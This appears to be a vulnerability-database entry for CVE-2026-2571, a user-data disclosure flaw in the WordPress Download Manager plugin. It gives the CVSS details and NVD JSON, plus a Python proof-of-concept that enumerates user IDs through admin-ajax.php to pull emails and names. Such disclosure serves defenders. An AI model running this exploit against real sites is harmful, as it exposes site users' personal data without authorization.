Security Vulnerability Report
中文
CVE-2026-2571 CVSS 4.3 MEDIUM

CVE-2026-2571

Published: 2026-03-19 07:16:00
Last Modified: 2026-04-22 21:32:08

Description

The Download Manager plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'reviewUserStatus' function in all versions up to, and including, 3.3.49. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information for any user on the site including email addresses, display names, and registration dates.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Download Manager < 3.3.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-2571 PoC - WordPress Download Manager Unauthorized User Info Disclosure # Target: WordPress site with Download Manager plugin <= 3.3.49 def exploit(target_url, wp_admin_cookie): """ Exploit the missing capability check in reviewUserStatus function Required: Valid WordPress subscriber-level account cookie """ target = target_url.rstrip('/') # Step 1: Enumerate users by ID (starting from 1) for user_id in range(1, 20): endpoint = f"{target}/wp-admin/admin-ajax.php" data = { 'action': 'reviewUserStatus', # Vulnerable action 'user_id': user_id } headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200 and 'user_email' in response.text: print(f"[*] User ID {user_id} found!") print(f"[+] Response: {response.text}") return response.json() except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <wordpress_cookie>") print(f"Example: python {sys.argv[0]} http://example.com 'wordpress_abc123'") sys.exit(1) target_url = sys.argv[1] cookie = sys.argv[2] print(f"[*] Starting CVE-2026-2571 exploitation...") print(f"[*] Target: {target_url}") result = exploit(target_url, cookie) if result: print("\n[+] Exploitation successful!") else: print("\n[-] No vulnerable users found or plugin not affected")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2571", "sourceIdentifier": "[email protected]", "published": "2026-03-19T07:15:59.697", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Download Manager plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'reviewUserStatus' function in all versions up to, and including, 3.3.49. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve sensitive information for any user on the site including email addresses, display names, and registration dates."}, {"lang": "es", "value": "El plugin Download Manager para WordPress es vulnerable a acceso no autorizado a datos debido a una comprobación de capacidad faltante en la función 'reviewUserStatus' en todas las versiones hasta, e incluyendo, la 3.3.49. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, recuperen información sensible para cualquier usuario del sitio, incluyendo direcciones de correo electrónico, nombres de visualización y fechas de registro."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/download-manager/trunk/src/User/UserController.php#L109", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/trunk/src/User/UserController.php#L47", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/download-manager/trunk/src/User/views/review-user-status.php#L34", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3462539/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d3efaa0d-8af6-4cdf-9225-8bbcfdbb73d3?source=cve", "source": "[email protected]"}]}}